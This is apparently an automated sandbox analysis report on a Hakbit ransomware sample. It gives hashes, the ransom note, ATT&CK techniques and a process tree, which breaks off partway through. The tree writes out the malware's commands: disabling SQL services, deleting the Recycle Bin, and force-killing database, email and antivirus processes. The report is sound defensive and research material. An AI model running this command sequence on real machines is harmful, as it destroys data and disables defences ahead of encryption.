hakbit | d91912b4b945e88e881e54573390e6723cfc41916b6546453b59e60f9beee337

Analysis

max time kernel
103s
max time network
126s
platform
windows10-2004_x64
resource
win10v2004-20250502-en
resource tags

arch:x64arch:x86image:win10v2004-20250502-enlocale:en-usos:windows10-2004-x64system
submitted
04/05/2025, 04:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
Size

80KB
MD5

8152a3d0d76f7e968597f4f834fdfa9d
SHA1

c3cf05f3f79851d3c0d4266ab77c8e3e3f88c73e
SHA256

69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b
SHA512

eb1a18cb03131466a4152fa2f6874b70c760317148684ca9b95044e50dc9cd19316d6e68e680ce18599114ba73e75264de5dab5afe611165b9c6c0b5f01002b4
SSDEEP

1536:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/suIicRtpNf8SgRXt+AacRDVX8C4OntD4acN:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/su0

Score

10^/10

hakbit credential_access defense_evasion discovery execution ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Family

hakbit

Ransom Note

To recover your data contact the email below [email protected] Key Identifier: uUhcDEa9IlOkV+0RAyZDbJv2/ZF6LbYlnxooU4B0+n0mRpa3KmpzwRASDZjlteZKxQydIoj0YDTU+LXlhw5tiV+cPjjN2cj5guzaju+E+A/pAcqSB2JjemaHbi7tpMN6kfMadAiiq65X90CnyXu8bneuqo6+r0e4fruJ0oILB0z6tw5NXWd/c+FG9sjYpT+hX6UCZmhnluoo1NISVGogCLAvj143eIGbkg4LmCyRj6b6k9Gvcvrx8oy3ipvESxdb8Du3tq9FBNcN/i6WWhY6fpep2Fz44cgtaiEpyv04MhOILwH6B9Bwbxylt9t7bzY44deqLhKTgwuAdFP23R5iFosxFLuuRBPqxOVs3LNKUXh1X3BraPf+wOS+biR7KpgdFs/qGtd21ls6c7TZ7JY6o7eTd9jjByZK0VcZnhsScbFKlzuNY4OfkyC7gHLZ24EFvItt9m22kfxsk2oW9gn9YrA+DprbSeMkR3rJw+Vli1s08UUVxS/IMo8pvvVBo3Cjijm8/3F7rephFdG0LZL9uK5ojQvqr7kSSJUHtbQUhqC+12a9CRkOYQB6B7hYm5P9Ica6741DwPaoom0XBg8fG75EaW2SqTbvQ6XZ8usLwOJPCH9LU/CV9OKW272epmNWgHymedU0nldoHJ9SymAFog8LNw9YKoloYpaQW7fp+U0= Number of files that were processed is: 455

Emails

[email protected]

Signatures

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Hakbit
Ransomware which encrypts files using AES, first seen in November 2019.
ransomware hakbit
Hakbit family
hakbit

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3342576763-1998465526-3870295501-1000\Control Panel\International\Geo\Nation	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3448	sc.exe
3516	sc.exe
3256	sc.exe
4048	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5712	PING.EXE
6524	cmd.exe

Kills process with taskkill 47 IoCs

defense_evasion

pid	Process
1092	taskkill.exe
4788	taskkill.exe
4776	taskkill.exe
4468	taskkill.exe
1336	taskkill.exe
4680	taskkill.exe
4600	taskkill.exe
4596	taskkill.exe
4872	taskkill.exe
4836	taskkill.exe
4604	taskkill.exe
4620	taskkill.exe
4684	taskkill.exe
4544	taskkill.exe
4120	taskkill.exe
4808	taskkill.exe
1096	taskkill.exe
6032	taskkill.exe
1792	taskkill.exe
4660	taskkill.exe
4628	taskkill.exe
3300	taskkill.exe
1436	taskkill.exe
4792	taskkill.exe
4568	taskkill.exe
4816	taskkill.exe
3468	taskkill.exe
4736	taskkill.exe
4632	taskkill.exe
5644	taskkill.exe
4712	taskkill.exe
4580	taskkill.exe
1364	taskkill.exe
5824	taskkill.exe
4640	taskkill.exe
4652	taskkill.exe
5648	taskkill.exe
5880	taskkill.exe
5908	taskkill.exe
4672	taskkill.exe
4844	taskkill.exe
4884	taskkill.exe
3352	taskkill.exe
4216	taskkill.exe
4740	taskkill.exe
4828	taskkill.exe
3152	taskkill.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
6200	notepad.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5712	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

description	pid	Process
Token: SeDebugPrivilege	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
Token: SeDebugPrivilege	4216	taskkill.exe
Token: SeDebugPrivilege	1364	taskkill.exe
Token: SeDebugPrivilege	1792	taskkill.exe
Token: SeDebugPrivilege	4640	taskkill.exe
Token: SeDebugPrivilege	3468	taskkill.exe
Token: SeDebugPrivilege	1436	taskkill.exe
Token: SeDebugPrivilege	4468	taskkill.exe
Token: SeDebugPrivilege	3152	taskkill.exe
Token: SeDebugPrivilege	4680	taskkill.exe
Token: SeDebugPrivilege	4736	taskkill.exe
Token: SeDebugPrivilege	4660	taskkill.exe
Token: SeDebugPrivilege	4604	taskkill.exe
Token: SeDebugPrivilege	4884	taskkill.exe
Token: SeDebugPrivilege	4808	taskkill.exe
Token: SeDebugPrivilege	4568	taskkill.exe
Token: SeDebugPrivilege	4788	taskkill.exe
Token: SeDebugPrivilege	3352	taskkill.exe
Token: SeDebugPrivilege	4872	taskkill.exe
Token: SeDebugPrivilege	1092	taskkill.exe
Token: SeDebugPrivilege	4816	taskkill.exe
Token: SeDebugPrivilege	4652	taskkill.exe
Token: SeDebugPrivilege	5824	taskkill.exe
Token: SeDebugPrivilege	1096	taskkill.exe
Token: SeDebugPrivilege	4712	taskkill.exe
Token: SeDebugPrivilege	3300	taskkill.exe
Token: SeDebugPrivilege	4740	taskkill.exe
Token: SeDebugPrivilege	4776	taskkill.exe
Token: SeDebugPrivilege	4792	taskkill.exe
Token: SeDebugPrivilege	5648	taskkill.exe
Token: SeDebugPrivilege	4844	taskkill.exe
Token: SeDebugPrivilege	4672	taskkill.exe
Token: SeDebugPrivilege	4836	taskkill.exe
Token: SeDebugPrivilege	5908	taskkill.exe
Token: SeDebugPrivilege	1336	taskkill.exe
Token: SeDebugPrivilege	4620	taskkill.exe
Token: SeDebugPrivilege	4828	taskkill.exe
Token: SeDebugPrivilege	4632	taskkill.exe
Token: SeDebugPrivilege	5644	taskkill.exe
Token: SeDebugPrivilege	4600	taskkill.exe
Token: SeDebugPrivilege	4596	taskkill.exe
Token: SeDebugPrivilege	6032	taskkill.exe
Token: SeDebugPrivilege	4580	taskkill.exe
Token: SeDebugPrivilege	4684	taskkill.exe
Token: SeDebugPrivilege	4120	taskkill.exe
Token: SeDebugPrivilege	4544	taskkill.exe
Token: SeDebugPrivilege	5880	taskkill.exe
Token: SeDebugPrivilege	4904	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2368 wrote to memory of 4048	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	86
PID 2368 wrote to memory of 4048	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	86
PID 2368 wrote to memory of 3256	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	87
PID 2368 wrote to memory of 3256	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	87
PID 2368 wrote to memory of 3516	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	88
PID 2368 wrote to memory of 3516	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	88
PID 2368 wrote to memory of 3312	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	92
PID 2368 wrote to memory of 3312	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	92
PID 2368 wrote to memory of 3448	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	93
PID 2368 wrote to memory of 3448	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	93
PID 2368 wrote to memory of 1792	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	94
PID 2368 wrote to memory of 1792	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	94
PID 2368 wrote to memory of 3152	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	95
PID 2368 wrote to memory of 3152	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	95
PID 2368 wrote to memory of 1364	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	100
PID 2368 wrote to memory of 1364	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	100
PID 2368 wrote to memory of 5824	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	102
PID 2368 wrote to memory of 5824	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	102
PID 2368 wrote to memory of 4568	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	103
PID 2368 wrote to memory of 4568	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	103
PID 2368 wrote to memory of 4620	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	104
PID 2368 wrote to memory of 4620	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	104
PID 2368 wrote to memory of 4640	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	105
PID 2368 wrote to memory of 4640	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	105
PID 2368 wrote to memory of 4632	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	106
PID 2368 wrote to memory of 4632	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	106
PID 2368 wrote to memory of 4652	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	107
PID 2368 wrote to memory of 4652	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	107
PID 2368 wrote to memory of 4672	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	108
PID 2368 wrote to memory of 4672	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	108
PID 2368 wrote to memory of 4600	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	109
PID 2368 wrote to memory of 4600	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	109
PID 2368 wrote to memory of 4684	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	110
PID 2368 wrote to memory of 4684	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	110
PID 2368 wrote to memory of 4680	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	111
PID 2368 wrote to memory of 4680	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	111
PID 2368 wrote to memory of 4596	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	112
PID 2368 wrote to memory of 4596	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	112
PID 2368 wrote to memory of 4836	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	113
PID 2368 wrote to memory of 4836	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	113
PID 2368 wrote to memory of 4872	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	114
PID 2368 wrote to memory of 4872	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	114
PID 2368 wrote to memory of 4660	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	115
PID 2368 wrote to memory of 4660	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	115
PID 2368 wrote to memory of 5648	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	116
PID 2368 wrote to memory of 5648	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	116
PID 2368 wrote to memory of 4844	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	117
PID 2368 wrote to memory of 4844	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	117
PID 2368 wrote to memory of 4884	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	118
PID 2368 wrote to memory of 4884	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	118
PID 2368 wrote to memory of 4628	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	119
PID 2368 wrote to memory of 4628	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	119
PID 2368 wrote to memory of 4544	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	120
PID 2368 wrote to memory of 4544	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	120
PID 2368 wrote to memory of 4604	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	121
PID 2368 wrote to memory of 4604	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	121
PID 2368 wrote to memory of 5644	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	122
PID 2368 wrote to memory of 5644	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	122
PID 2368 wrote to memory of 3300	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	123
PID 2368 wrote to memory of 3300	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	123
PID 2368 wrote to memory of 4468	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	124
PID 2368 wrote to memory of 4468	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	124
PID 2368 wrote to memory of 3352	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	125
PID 2368 wrote to memory of 3352	2368	69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	125

C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
"C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2368
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:4048
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:3256
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  PID:3516
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:3312
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3448
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1792
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3152
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1364
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mysqld.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5824
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqbcoreservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4568
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM firefoxconfig.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4620
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM agntsvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4640
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM thebat.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4632
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM steam.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4652
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM encsvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4672
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM excel.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4600
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM CNTAoSMgr.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4684
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqlwriter.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4680
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM tbirdconfig.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4596
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM dbeng50.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4836
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM thebat64.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4872
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM ocomm.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4660
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM infopath.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5648
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mbamtray.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4844
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM zoolz.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4884
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" IM thunderbird.exe /F
  2⤵
  - Kills process with taskkill
  PID:4628
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM dbsnmp.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4544
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM xfssvccon.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4604
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5644
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM Ntrtscan.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3300
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM isqlplussvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4468
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM onenote.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3352
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM PccNTMon.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1092
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM msaccess.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1436
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM outlook.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1336
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM tmlisten.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4120
- C:\Windows\SYSTEM32\taskkill.exe
